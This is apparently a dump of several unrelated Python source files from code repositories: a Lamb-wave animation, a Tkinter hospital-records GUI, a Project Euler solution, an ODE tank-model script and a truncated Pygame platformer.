(self.xi**2-self.eta_S**2)**2*np.sin(self.eta_P*self.d)*np.cos(self.eta_S*self.d)+4*self.xi**2*self.eta_P*self.eta_S*np.cos(self.eta_P*self.d)*np.sin(self.eta_S*self.d)\r\n\r\n @ property\r\n def Omega(self):\r\n \"\"\"(before eq.103, P.328)\"\"\"\r\n return self.omega*self.d/self.c_S\r\n\r\n @ property\r\n def eta_P_(self):\r\n \"\"\"(eq.105, P.328)\"\"\"\r\n return (self.Omega**2/self.k**2-self.xi_**2)**(1/2)\r\n\r\n @ property\r\n def eta_S_(self):\r\n \"\"\"(eq.105, P.328)\"\"\"\r\n return (self.Omega**2-self.xi_**2)**(1/2)\r\n\r\n @ property\r\n def D_(self):\r\n \"\"\"(eq.117, P.331)\"\"\"\r\n return (self.xi_**2-self.eta_S_**2)**2*np.sin(self.eta_P_)*np.cos(self.eta_S_)+4*self.xi_**2*self.eta_P_*self.eta_S_*np.cos(self.eta_P_)*np.sin(self.eta_S_)\r\n\r\n def get_scatter(self):\r\n \"\"\"\r\n for loop xi_(xi) value and Omega(omega) value to find the combination that makes D_ = 0\r\n \"\"\"\r\n d_xi = .001\r\n d_omega = .001\r\n self.xi = np.arange(0, 5, d_xi)\r\n self.omega = np.arange(0, 5, d_omega)\r\n self.xi, self.omega = np.meshgrid(self.xi, self.omega)\r\n indices = np.where(np.abs(self.D_ - 0) < 0.01)\r\n xi = indices[1]\r\n omega = indices[0]\r\n xi_ = xi*d_xi*self.d\r\n Omega = omega*d_omega*self.d/self.c_S\r\n return xi_, Omega\r\n\r\n def c_div_cS(self, Omega, xi_):\r\n # (eq.103, P.328)\r\n xi = xi_/self.d\r\n omega = Omega*self.c_S/self.d\r\n # (before eq.112, P.330)\r\n c = omega/xi\r\n return c/self.c_S\r\n\r\n def fd(self, Omega):\r\n # (before eq.112, P.330)\r\n omega = Omega*self.c_S/self.d\r\n fd = omega/(2*PI)*self.d\r\n return fd\r\n\r\n def get_xi_and_omega_by_fd(self, fd):\r\n \"\"\"use fd to calculate omega and xi\r\n\r\n So that the omega and xi result in desired wave mode\r\n\r\n Args:\r\n fd (float): frequency in Hz, get by dispersion curve\r\n \"\"\"\r\n xi_, Omega = self.get_scatter()\r\n c_div_cS = self.c_div_cS(Omega, xi_)\r\n _fd = self.fd(Omega)\r\n # find the closest fd in the scatter set\r\n index = np.argmin(np.abs(_fd-fd))\r\n fd = _fd[index] # scalar\r\n c_div_cS = c_div_cS[index] # scalar\r\n omega = fd*2*PI/self.d\r\n xi = omega/c_div_cS*self.c_S # (before eq.112, P.330)\r\n return xi, omega\r\n\r\n def u_x(self, x, y, t):\r\n \"\"\"(eq. 135, P. 336)\"\"\"\r\n return 1j*self.C*self.eta_S*(2*self.xi**2*np.sin(self.eta_S*self.d)*np.sin(self.eta_P*y)-(self.xi**2-self.eta_S**2)*np.sin(self.eta_P*self.d)*np.sin(self.eta_S*y))*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n def u_y(self, x, y, t):\r\n \"\"\"(eq. 135, P. 336)\r\n\r\n Note: the sign of the equation is different from the book, in order to generate the same wave field as the book\r\n \"\"\"\r\n return -self.C*self.xi*(2*self.eta_P*self.eta_S*np.sin(self.eta_S*self.d)*np.cos(self.eta_P*y)+(self.xi**2-self.eta_S**2)*np.sin(self.eta_P*self.d)*np.cos(self.eta_S*y))*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n @ property\r\n def c_L(self):\r\n \"\"\"Lamb wave speed\"\"\"\r\n return self.omega/self.xi\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[-self.d, self.d, .5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-self.d-.01, self.d+.01, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.xi, self.omega = self.get_xi_and_omega_by_fd(.1) # A0\r\n\r\n def func(x, y):\r\n P = self.u_x(x, y, t.get_value()).real\r\n SV = self.u_y(x, y, t.get_value()).real\r\n return P, SV\r\n\r\n # adjust the rate of axis to make the vector field look good\r\n rate_x = .5\r\n rate_y = .5\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for y in np.arange(-self.d, self.d+.1, .1):\r\n P, SV = func(x, y)\r\n vector = Arrow(start=axes.coords_to_point(x, y),\r\n end=axes.coords_to_point(\r\n x+rate_x*P, y+rate_y*SV),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n\r\n self.add(axes, field, t)\r\n self.wait(2*PI/self.omega)\r\n","repo_name":"PaRaD1SE98/guided-waves-animation","sub_path":"scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":90590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24313485542","text":"from tkinter import *\nimport json\n\ndef sicknessDataView():\n username_info = username.get()\n\n with open(\"config.json\", \"r\") as json_file:\n data = json.load(json_file)\n for user in data['sicknessData']:\n if username_info in user.values():\n Label(screen_doc4, text=\"\").pack()\n Label(screen_doc4, text=\"Sickness Report :\" + str(user[\"id\"]), fg=\"red\", font=(\"Calibri\", 11)).pack()\n Label(screen_doc4, text=\"Age :\" + user[\"age\"]).pack()\n Label(screen_doc4, text=\"Disease :\" + user[\"disease\"]).pack()\n Label(screen_doc4, text=\"Duration :\" + user[\"duration\"]).pack()\n Label(screen_doc4, text=\"Issued by : Dr.\" + user[\"doctor\"]).pack()\n\ndef sicknessDataViewScreen():\n global screen_doc4\n screen_doc4 = Toplevel(screen_doc2)\n screen_doc4.title(\"Doctor\")\n screen_doc4.geometry(\"400x400\")\n\n global username\n global username_entry\n username = StringVar()\n Label(screen_doc4, text=\"Please enter username below\").pack()\n Label(screen_doc4, text=\"\").pack()\n Label(screen_doc4, text=\"Username\").pack()\n username_entry = Entry(screen_doc4, textvariable=username)\n username_entry.pack()\n Label(screen_doc4, text=\"\").pack()\n Button(screen_doc4, text=\"Search\", height=\"1\", width=\"10\", command=sicknessDataView).pack()\n\ndef sicknessDataSubmit():\n username_info = username.get()\n age_info = age.get()\n disease_info = disease.get()\n duration_info = duration.get()\n result = \"fail\"\n with open(\"config.json\", 'r') as json_file:\n data = json.load(json_file)\n for user in data[\"users\"]:\n if user[\"name\"] == username_info:\n data['sicknessData'].append({'id':len(data['sicknessData'])+1,'user_id': user['id'],\n 'name': username_info,'age': age_info,'disease': disease_info,\n 'duration': duration_info,\n 'doctor': d_name\n })\n result = \"success\"\n with open('config.json', 'w') as output_file:\n json.dump(data, output_file)\n if (result == \"success\"):\n Label(screen_doc3, text=\"Data Update Successfully\", fg=\"green\", font=(\"Calibri\", 11)).pack()\n username_en.delete(0, END)\n age_en.delete(0, END)\n disease_en.delete(0, END)\n duration_en.delete(0, END)\n else:\n Label(screen_doc3, text=\"Check Username\", fg=\"red\", font=(\"Calibri\", 11)).pack()\n\ndef sicknessDataSubmitScreen():\n global screen_doc3\n screen_doc3 = Toplevel(screen_doc2)\n screen_doc3.title(\"Doctor\")\n screen_doc3.geometry(\"400x400\")\n\n global username\n global age\n global disease\n global duration\n\n global username_en\n global age_en\n global disease_en\n global duration_en\n\n username = StringVar()\n age = StringVar()\n disease = StringVar()\n duration = StringVar()\n\n Label(screen_doc3, text=\"Please enter details below\").pack()\n Label(screen_doc3, text=\"\").pack()\n Label(screen_doc3, text=\"Username\").pack()\n username_en=Entry(screen_doc3, textvariable=username)\n username_en.pack()\n Label(screen_doc3, text=\"Age\").pack()\n age_en=Entry(screen_doc3, textvariable=age)\n age_en.pack()\n Label(screen_doc3, text=\"Disease\").pack()\n disease_en=Entry(screen_doc3, textvariable=disease)\n disease_en.pack()\n Label(screen_doc3, text=\"Duration\").pack()\n duration_en=Entry(screen_doc3, textvariable=duration)\n duration_en.pack()\n Label(screen_doc3, text=\"\").pack()\n Button(screen_doc3, text=\"Submit\", height=\"1\", width=\"10\", command=sicknessDataSubmit).pack()\n\ndef sicknessData():\n global screen_doc2\n screen_doc2 = Toplevel(screen_doc1)\n screen_doc2.title(\"Doctor\")\n screen_doc2.geometry(\"300x250\")\n Label(screen_doc2, text=\"\").pack()\n Label(screen_doc2, text=\"Sikness Details\", width=\"300\", height=\"2\", font=(\"Calibri\", 13)).pack()\n Label(screen_doc2, text=\"\").pack()\n Button(screen_doc2, text=\"Update Data\", height=\"2\", width=\"30\", command=sicknessDataSubmitScreen).pack()\n Label(screen_doc2, text=\"\").pack()\n Button(screen_doc2, text=\"Search Data\", height=\"2\", width=\"30\", command=sicknessDataViewScreen).pack()\n\ndef labView():\n username_info = username.get()\n\n with open(\"config.json\", \"r\") as json_file:\n data = json.load(json_file)\n for user in data['labData']:\n if username_info in user.values():\n Label(screen_doc7, text=\"\").pack()\n Label(screen_doc7, text=\"Lab Report :\" + user[\"date\"],fg=\"red\",font=(\"Calibri\", 11)).pack()\n Label(screen_doc7, text=\"Age :\" + user[\"age\"]).pack()\n Label(screen_doc7, text=\"Description :\" + user[\"description\"]).pack()\n Label(screen_doc7, text=\"Issued by : Dr.\" + user[\"doctor\"]).pack()\n\ndef labViewScreen():\n global screen_doc7\n screen_doc7 = Toplevel(screen_doc5)\n screen_doc7.title(\"Doctor\")\n screen_doc7.geometry(\"400x400\")\n\n global username\n global username_entry\n username = StringVar()\n Label(screen_doc7, text=\"Please enter username below\").pack()\n Label(screen_doc7, text=\"\").pack()\n Label(screen_doc7, text=\"Username\").pack()\n username_entry = Entry(screen_doc7, textvariable=username)\n username_entry.pack()\n Label(screen_doc7, text=\"\").pack()\n Button(screen_doc7, text=\"Search\", height=\"1\", width=\"10\", command=labView).pack()\n\ndef labSubmit():\n username_info = username.get()\n age_info = age.get()\n description_info = description.get()\n date_info = date.get()\n\n result = \"fail\"\n with open(\"config.json\", 'r') as json_file:\n data = json.load(json_file)\n for user in data[\"users\"]:\n if user[\"name\"] == username_info:\n data['labData'].append({\n 'id': len(data['labData']) + 1,\n 'user_id': user['id'],\n 'name': username_info,\n 'age': age_info,\n 'description': description_info,\n 'date':date_info,\n 'doctor': d_name\n })\n result = \"success\"\n with open('config.json', 'w') as output_file:\n json.dump(data, output_file)\n\n if (result == \"success\"):\n Label(screen_doc6, text=\"Data Update Successfully\", fg=\"green\", font=(\"Calibri\", 11)).pack()\n username_en.delete(0, END)\n age_en.delete(0, END)\n description_en.delete(0, END)\n date_en.delete(0, END)\n else:\n Label(screen_doc6, text=\"Check Username\", fg=\"red\", font=(\"Calibri\", 11)).pack()\n\ndef labSubmitScreen():\n global screen_doc6\n screen_doc6 = Toplevel(screen_doc5)\n screen_doc6.title(\"Doctor\")\n screen_doc6.geometry(\"350x400\")\n global username\n global age\n global description\n global date\n\n global username_en\n global age_en\n global description_en\n global date_en\n\n username = StringVar()\n age = StringVar()\n description = StringVar()\n date = StringVar()\n\n Label(screen_doc6, text=\"Please enter details below\").pack()\n Label(screen_doc6, text=\"\").pack()\n Label(screen_doc6, text=\"Username\").pack()\n username_en = Entry(screen_doc6, textvariable=username)\n username_en.pack()\n Label(screen_doc6, text=\"Age\").pack()\n age_en = Entry(screen_doc6, textvariable=age)\n age_en.pack()\n Label(screen_doc6, text=\"Description\").pack()\n description_en = Entry(screen_doc6, textvariable=description)\n description_en.pack()\n Label(screen_doc6, text=\"Date\").pack()\n date_en = Entry(screen_doc6, textvariable=date)\n date_en.pack()\n Label(screen_doc6, text=\"\").pack()\n Button(screen_doc6, text=\"Submit\", height=\"1\", width=\"10\", command=labSubmit).pack()\ndef lab():\n global screen_doc5\n screen_doc5 = Toplevel(screen_doc1)\n screen_doc5.title(\"Doctor\")\n screen_doc5.geometry(\"300x250\")\n Label(screen_doc5, text=\"\").pack()\n Label(screen_doc5, text=\"Lab Test Details\", width=\"300\", height=\"2\", font=(\"Calibri\", 13)).pack()\n Label(screen_doc5, text=\"\").pack()\n Button(screen_doc5, text=\"Update Data\", height=\"2\", width=\"30\", command=labSubmitScreen).pack()\n Label(screen_doc5, text=\"\").pack()\n Button(screen_doc5, text=\"Search Data\", height=\"2\", width=\"30\", command=labViewScreen).pack()\n\ndef drugView():\n username_info = username.get()\n\n with open(\"config.json\", \"r\") as json_file:\n data = json.load(json_file)\n for user in data['drugData']:\n if username_info in user.values():\n Label(screen_doc10, text=\"\").pack()\n Label(screen_doc10, text=\"Drug Report :\" + user[\"date\"], fg=\"red\", font=(\"Calibri\", 11)).pack()\n Label(screen_doc10, text=\"Age :\" + user[\"age\"]).pack()\n Label(screen_doc10, text=\"Weight :\" + user[\"weight\"]).pack()\n Label(screen_doc10, text=\"Drugs :\" + user[\"drugs\"]).pack()\n Label(screen_doc10, text=\"Issued by : Dr.\" + user[\"doctor\"]).pack()\n\ndef drugViewScreen():\n global screen_doc10\n screen_doc10 = Toplevel(screen_doc8)\n screen_doc10.title(\"Doctor\")\n screen_doc10.geometry(\"400x400\")\n\n global username\n global username_entry\n username = StringVar()\n Label(screen_doc10, text=\"Please enter username below\").pack()\n Label(screen_doc10, text=\"\").pack()\n Label(screen_doc10, text=\"Username\").pack()\n username_entry = Entry(screen_doc10, textvariable=username)\n username_entry.pack()\n Label(screen_doc10, text=\"\").pack()\n Button(screen_doc10, text=\"Search\", height=\"1\", width=\"10\", command=drugView).pack()\n\ndef drugSubmit():\n username_info = username.get()\n age_info = age.get()\n weight_info = weight.get()\n drug_info = drugs.get()\n date_info = date.get()\n\n result = \"fail\"\n with open(\"config.json\", 'r') as json_file:\n data = json.load(json_file)\n for user in data[\"users\"]:\n if user[\"name\"] == username_info:\n data['drugData'].append({\n 'id': len(data['drugData']) + 1,\n 'user_id': user['id'],\n 'name': username_info,\n 'age': age_info,\n 'weight': weight_info,\n 'drugs': drug_info,\n 'date': date_info,\n 'doctor': d_name\n })\n result = \"success\"\n with open('config.json', 'w') as output_file:\n json.dump(data, output_file)\n if (result == \"success\"):\n Label(screen_doc9, text=\"Data Update Successfully\", fg=\"green\", font=(\"Calibri\", 11)).pack()\n username_en.delete(0, END)\n age_en.delete(0, END)\n weight_en.delete(0, END)\n drugs_en.delete(0, END)\n date_en.delete(0, END)\n else:\n Label(screen_doc9, text=\"Check Username\", fg=\"red\", font=(\"Calibri\", 11)).pack()\n\ndef drugSubmitScreen():\n global screen_doc9\n screen_doc9 = Toplevel(screen_doc8)\n screen_doc9.title(\"Doctor\")\n screen_doc9.geometry(\"350x400\")\n\n global username\n global age\n global weight\n global drugs\n global date\n\n global username_en\n global age_en\n global weight_en\n global drugs_en\n global date_en\n\n username = StringVar()\n age = StringVar()\n weight = StringVar()\n drugs = StringVar()\n date = StringVar()\n\n Label(screen_doc9, text=\"Please enter drug details\").pack()\n Label(screen_doc9, text=\"\").pack()\n Label(screen_doc9, text=\"Username\").pack()\n username_en = Entry(screen_doc9, textvariable=username)\n username_en.pack()\n Label(screen_doc9, text=\"Age\").pack()\n age_en = Entry(screen_doc9, textvariable=age)\n age_en.pack()\n Label(screen_doc9, text=\"Weight\").pack()\n weight_en = Entry(screen_doc9, textvariable=weight)\n weight_en.pack()\n Label(screen_doc9, text=\"Drugs\").pack()\n drugs_en = Entry(screen_doc9, textvariable=drugs)\n drugs_en.pack()\n Label(screen_doc9, text=\"Date\").pack()\n date_en = Entry(screen_doc9, textvariable=date)\n date_en.pack()\n Label(screen_doc9, text=\"\").pack()\n Button(screen_doc9, text=\"Submit\", height=\"1\", width=\"10\", command=drugSubmit).pack()\ndef drug():\n global screen_doc8\n screen_doc8 = Toplevel(screen_doc1)\n screen_doc8.title(\"Doctor\")\n screen_doc8.geometry(\"300x250\")\n Label(screen_doc8, text=\"\").pack()\n Label(screen_doc8, text=\"Drug Details\", width=\"300\", height=\"2\", font=(\"Calibri\", 13)).pack()\n Label(screen_doc8, text=\"\").pack()\n Button(screen_doc8, text=\"Update Data\", height=\"2\", width=\"30\", command=drugSubmitScreen).pack()\n Label(screen_doc8, text=\"\").pack()\n Button(screen_doc8, text=\"Search Data\", height=\"2\", width=\"30\", command=drugViewScreen).pack()\n\ndef firstFormDoc(name,screen):\n global screen_doc1\n global d_name\n d_name = name\n screen_doc1 = Toplevel(screen)\n screen_doc1.title(\"Doctor\")\n screen_doc1.geometry(\"300x250\")\n Label(screen_doc1, text=\"\").pack()\n Label(screen_doc1,text=\"Hospital Management\", width=\"300\", height=\"2\", font=(\"Calibri\", 13)).pack()\n Label(screen_doc1, text=\"\").pack()\n Button(screen_doc1, text=\"Sikness Data\", height=\"2\", width=\"30\",command=sicknessData).pack()\n Label(screen_doc1, text=\"\").pack()\n Button(screen_doc1, text=\"Lab Test Details\", height=\"2\", width=\"30\", command=lab).pack()\n Label(screen_doc1, text=\"\").pack()\n Button(screen_doc1, text=\"Drug Details\", height=\"2\", width=\"30\", command=drug).pack()","repo_name":"Sachini-Dissanayaka/BasicHospitalManagementSystem","sub_path":"model/firstScreenDoctor.py","file_name":"firstScreenDoctor.py","file_ext":"py","file_size_in_byte":13463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23693666504","text":"\"\"\"\nPE 26:\nA unit fraction contains 1 in the numerator.\n The decimal representation of the unit fractions with denominators 2 to 10 are given:\n\n1/2\t= \t0.5\n1/3\t= \t0.(3)\n1/4\t= \t0.25\n1/5\t= \t0.2\n1/6\t= \t0.1(6)\n1/7\t= \t0.(142857)\n1/8\t= \t0.125\n1/9\t= \t0.(1)\n1/10\t= \t0.1\nWhere 0.1(6) means 0.166666..., and has a 1-digit recurring cycle.\nIt can be seen that 1/7 has a 6-digit recurring cycle.\n\nFind the value of d < 1000 for which 1/d contains the longest recurring cycle in its decimal fraction part.\n\"\"\"\n\n#SUCCESS! sorta... there was a lot of junk code that I cut out after solving, \n# but it still takes some time to compile\n\ndef long_division(num,denom):\n dec_expansion = \"\"\n while(len(dec_expansion) < 3001):\n\n if(denom > num):\n dec_expansion += \"0\"\n num *= 10\n\n dec_expansion += str(num//denom)\n remainder = num - (num//denom)*denom\n num = remainder * 10\n\n return dec_expansion\n\n\ndecimal_list = []\n\nfor x in range(2,1000):\n decimal_list.append([x, long_division(1,x)[1::]])\n\n# gets rid of the pesky one's place zero ^^^^^\n\ndef check_cycle(decimal, gap):\n for x in range(0,(len(decimal) - 3*gap)):\n if(decimal[x : x+gap] == decimal[x+gap : x+(2*gap)] and decimal[x : x+gap] == decimal[x+(2*gap) : x+(3*gap)]):\n return gap\n\n if(x == len(decimal) - (3*gap)-1):\n return 0\n\nanswer = 0\nbiggest_gap = 0\n\nfor x in range(0, len(decimal_list)):\n for gap in range(2,1001):\n repeat = check_cycle(decimal_list[x][1],gap)\n\n# I'm not exactly sure why, but trying to simplify\n# these next 2 if statements into one DESTROYS the program's speed\n\n if(repeat != 0):\n if(repeat > biggest_gap):\n biggest_gap = repeat\n answer = decimal_list[x][0]\n print(answer)\n break\n\nprint(\"answer is 1/\" + str(answer))\n","repo_name":"Clayton-Adamson/Python-projects","sub_path":"euler26/euler26.py","file_name":"euler26.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19809239169","text":"import numpy as np\r\nfrom scipy.integrate import odeint\r\nimport matplotlib.pyplot as plt\r\n\r\n# function that returns dy/dt\r\ndef model1euler(h,t0,t1,approxstep,k,A,Fin,Tin,Q,rhocp): \r\n #print(\"inital:h \\n\",h)\r\n t=t0\r\n while (t 0: \n iFrames -= 1\n if playerY > 800: \n lives -= 1\n startScreen = True\n gameplay = False\n refresh() \n if jump: \n jumpIterations += 1\n velocity = 10\n if jumpIterations > 25: # holding jump makes you jump more (25 is barely enough to jump 4 blocks)\n jump = False\n jumpIterations = 0\n if animation == False: \n if left and playerX >= 0: playerX -= moveSpeed\n if right and playerX <= 1000: playerX += moveSpeed\n if underground == False: \n if playerX > 700 and yWall2 > 1100: # right camera move margin\n moveRight = True\n else: \n moveRight = False\n if playerX < 300 and yWall < 0: # left camera move margin\n moveLeft = True\n else: \n moveLeft = False\n if moveLeft: \n playerX += moveSpeed \n yWall += moveSpeed\n yWall2 += moveSpeed\n flag.x += moveSpeed\n if moveRight: \n playerX -= moveSpeed\n yWall -= moveSpeed\n yWall2 -= moveSpeed\n flag.x -= moveSpeed\n playerY -= velocity \n velocity -= acceleration\n else: \n moveLeft = False\n moveRight = False\n if enterPipe: \n playerY += 4\n playerX = pipeX\n aniIterations += 1\n if aniIterations > 50: \n enterPipe = False\n if underground: \n underground = False\n exitPipe = True\n aniIterations = 0\n playerY = overPipeY\n else: \n animation = False\n underground = True\n overPipeX = pipeX\n overPipeY = playerY \n playerY = 0\n playerX = 150\n if exitPipe: \n playerY -= 4\n playerX = overPipeX\n aniIterations += 1\n if aniIterations > 50: \n exitPipe = False\n animation = False\n if dieAni: \n if aniIterations < 20: \n aniIterations += 1\n if aniIterations == 20:\n velocity = 10\n else: \n playerY-=velocity\n velocity-=acceleration\n if playerY > 780: \n lives -= 1\n startScreen = True\n gameplay = False\n refresh() \n if flagAni: \n if aniIterations > 20: \n if playerY >= 580-height: \n playerY = 580-height\n aniIterations += 1\n if aniIterations == 40: \n finish = True\n gameplay = False\n else:\n playerY += 4\n else:\n aniIterations += 1\n if velocity < -2: \n grounded = False\n tempRect = pygame.Rect(playerX, playerY, 100, height)\n if iFrames <= 0: \n pygame.draw.rect(screen, \"red\", tempRect) \n else: \n pygame.draw.rect(screen, pygame.Color(100, 10, 10), tempRect)\n if underground == False: \n for enemy in enemies: \n if enemy.deathTimer >= 0: \n enemy.y -= enemy.velocity\n enemy.velocity -= acceleration\n if enemy.y > 900: \n enemy.deathTimer = 0\n enemy.dead = True\n if dieAni == False:\n if moveRight: \n enemy.x -= moveSpeed\n if moveLeft: \n enemy.x += moveSpeed\n for block in blocks: \n if block.x + 100 > enemy.x and block.x < enemy.x + 100: \n if block.y + 100 > enemy.y and block.y < enemy.y + 100:\n if abs((block.y - enemy.y)) < abs((block.x - enemy.x)):\n if enemy.left: \n enemy.left = False\n enemy.x += 3\n else: \n enemy.left = True\n enemy.x -= 3\n else: \n if enemy.y+50 < block.y: \n enemy.y = block.y-100 \n enemy.velocity = 0\n if enemy.dead == False: \n if enemy.left: \n enemy.x -= 3 \n if enemy.left == False: \n enemy.x += 3\n tempRect = pygame.Rect(enemy.x, enemy.y, 100, 100)\n pygame.draw.rect(screen, pygame.Color(43, 29,20), tempRect) \n if iFrames <= 0: \n if enemy.x + 100 > playerX and enemy.x < playerX + 100 and dieAni == False: \n if enemy.y + 100 > playerY and enemy.y < playerY + height: # enemy collision\n distance = 100\n if height == 100:\n distance = 0\n if abs((enemy.y) - (playerY + distance)) > abs((enemy.x + 100) - (playerX + 100)):\n velocity = 10\n grounded = False\n enemy.dead = True\n temp = Score(enemy.x, enemy.y, 100)\n scores.append(temp)\n else:\n if state == 2: \n state = 1\n height = 100 \n playerY += 100\n iFrames = 60\n elif state == 1 and animation == False:\n dieAni = True\n moveLeft = False\n moveRight = False\n animation = True\n aniIterations = 0\n else: \n if enemy.deathTimer >= 0: \n tempRect = pygame.Rect(enemy.x, enemy.y+90, 100, 10)\n pygame.draw.rect(screen, pygame.Color(43, 29,20), tempRect) \n enemy.deathTimer-=1 \n for item in items: \n if moveRight: \n item.x -= moveSpeed\n if moveLeft: \n item.x += moveSpeed\n if item.left: \n item.x -= 3\n else: \n item.x += 3\n item.y -= item.velocity \n item.velocity -= acceleration\n for block in blocks: \n if block.x + 100 > item.x and block.x < item.x + 100: \n if block.y + 100 > item.y and block.y < item.y + 100:\n if abs((block.y - item.y)) < abs((block.x - item.x)):\n if item.left: \n item.left = False\n else: \n item.left = True\n else: \n if item.y+50 < block.y: \n item.y = block.y-100 \n item.velocity = 0\n temp = pygame.Rect(item.x, item.y, 100, 50)\n temp2 = pygame.Rect(item.x, item.y+50, 100 ,50)\n pygame.draw.rect(screen, \"red\", temp)\n pygame.draw.rect(screen, \"white\", temp2)\n if item.x + 100 > playerX and item.x < playerX + 100: \n if item.y + 100 > playerY and item.y < playerY + height:\n if state == 1: \n state = 2\n height = 200 \n items.remove(item)\n playerY -= 100\n elif state == 2:\n temp = Score(item.x, item.y, 100)\n scores.append(temp)\n items.remove(item)\n for block in blocks: \n if moveRight: \n block.x -= moveSpeed \n if moveLeft: \n block.x += moveSpeed\n tempRect = pygame.Rect(block.x, block.y, 100, 100)\n if type(block) == Block:\n if block.hit == True: \n tempRect = pygame.Rect(block.x, block.y-10, 100, 100)\n block.timer -= 1\n if block.timer < 0: \n block.hit = False\n if block.pipe == True: \n pygame.draw.rect(screen, \"green\", tempRect) \n elif block.coins > 0: \n pygame.draw.rect(screen, pygame.Color(200, 64, 51), tempRect) \n else: \n pygame.draw.rect(screen, pygame.Color(92, 64, 51), tempRect) \n elif type(block) == ItemBlock: \n if block.hit == False:\n pygame.draw.rect(screen, \"yellow\", tempRect) \n else: \n tempRect = pygame.Rect(block.x, block.y-20, 100, 100)\n pygame.draw.rect(screen, pygame.Color(92, 64, 51), tempRect)\n if block.hit: \n block.timer -= 1\n if block.timer < 0: \n blocks.remove(block)\n temp = Block(block.x, block.y, 0, False)\n blocks.append(temp)\n elif type(block) == Pipe:\n pygame.draw.rect(screen, \"green\", tempRect)\n temp = pygame.Rect(block.x, block.y, 100, 50)\n pygame.draw.rect(screen, \"darkgreen\", temp, 3)\n if animation == False and block.x + 100 > playerX and block.x < playerX + 100: # block collision (a couple of bugs with falling and hugging a block but overall it works)\n if block.y + 100 > playerY and block.y < playerY + height:\n distance = 100\n if height == 100:\n distance = 0\n if abs((block.y) - (playerY + distance)) < abs((block.x + 100) - (playerX + 100)):\n if left: \n playerX += moveSpeed\n if right: \n playerX -= moveSpeed\n else: \n if playerY+(distance/2) < block.y: \n playerY = block.y-height \n velocity = 0\n grounded = True\n jumpIterations = 0\n if type(block) == Pipe and down == True: \n enterPipe = True\n pipeX = block.x\n animation = True\n aniIterations = 0\n down = False\n elif playerY > block.y - 80 and abs((playerX + 100) - (block.x + 100)) < 95 and velocity > 0: \n playerY = block.y+100\n velocity = 0\n jumpIterations = 26\n if type(block) == Block: \n if block.coins>0 and block.hit == False: \n block.hit = True\n block.timer = 15\n block.coins-=1\n temp = Coin(block.x + 40, block.y - 60, True)\n coins.append(temp)\n coinCount += 1\n if type(block) == ItemBlock: \n if block.item == \"Mushroom\" and block.hit == False: \n temp = Mushroom(block.x, block.y-100)\n items.append(temp)\n block.hit = True\n else: # underground code block\n for block in underblocks: \n if moveRight: \n block.x -= moveSpeed \n if moveLeft: \n block.x += moveSpeed\n tempRect = pygame.Rect(block.x, block.y, 100, 100)\n if type(block) == Block:\n if block.hit == True: \n tempRect = pygame.Rect(block.x, block.y-10, 100, 100)\n block.timer -= 1\n if block.timer < 0: \n block.hit = False\n if block.pipe == True: \n pygame.draw.rect(screen, \"green\", tempRect) \n else: \n pygame.draw.rect(screen, \"darkgray\", tempRect) \n if type(block) == Pipe:\n temp = pygame.Rect(block.x, block.y, 100, 50)\n pygame.draw.rect(screen, \"green\", tempRect)\n pygame.draw.rect(screen, \"darkgreen\", temp, 3)\n if animation == False and block.x + 100 > playerX and block.x < playerX + 100: # block collision (a couple of bugs with falling and hugging a block but overall it works)\n if block.y + 100 > playerY and block.y < playerY + height:\n distance = 100\n if height == 100:\n distance = 0\n if abs((block.y) - (playerY + distance)) < abs((block.x + 100) - (playerX + 100)):\n if left: \n playerX += moveSpeed\n if right: \n playerX -= moveSpeed\n else: \n if playerY+(distance/2) < block.y: \n playerY = block.y-height \n velocity = 0\n grounded = True\n jumpIterations = 0\n if type(block) == Pipe and down == True: \n enterPipe = True\n pipeX = block.x\n animation = True\n aniIterations = 0\n down = False\n elif playerY > block.y - 80 and abs((playerX + 100) - (block.x + 100)) < 95 and velocity > 0: \n playerY = block.y+100\n velocity = 0\n jumpIterations = 26\n for coin in undercoins: \n temp = pygame.Rect(coin.x, coin.y, 20, 40)\n pygame.draw.rect(screen, \"yellow\", temp)\n if coin.x + 20 > playerX and coin.x < playerX + 100: # block collision (a couple of bugs with falling and hugging a block but overall it works)\n if coin.y + 40 > playerY and coin.y < playerY + height:\n undercoins.remove(coin)\n coinCount += 1\n for coin in coins: \n if moveLeft: \n coin.x += moveSpeed\n if moveRight:\n coin.x -= moveSpeed\n temp = pygame.Rect(coin.x, coin.y, 20, 40)\n pygame.draw.rect(screen, \"yellow\", temp)\n if coin.animation: \n coin.timer -= 1 \n coin.y -= 2\n if coin.timer < 0: \n coins.remove(coin)\n for score in scores:\n if moveLeft:\n score.x += moveSpeed\n if moveRight:\n score.x -= moveSpeed\n temp = myFont.render(str(score.amount), False, \"white\")\n screen.blit(temp, (score.x, score.y))\n if score.timer < 0: \n scores.remove(score)\n else: \n score.timer -= 1\n flagRect = pygame.Rect(flag.x + 40, flag.y, 20, 500)\n pygame.draw.rect(screen, \"green\", flagRect)\n flagRect = pygame.Rect(flag.x-160, flag.y + 20, 200, 100)\n pygame.draw.rect(screen, \"red\", flagRect)\n if playerX+100 > flag.x and flagAni == False: \n flagAni = True\n animation = True\n playerX = flag.x - 60\n aniIterations = 0\n temp = MyFont2.render(\"Coins: \" + str(coinCount), False, \"white\")\n screen.blit(temp, (10, 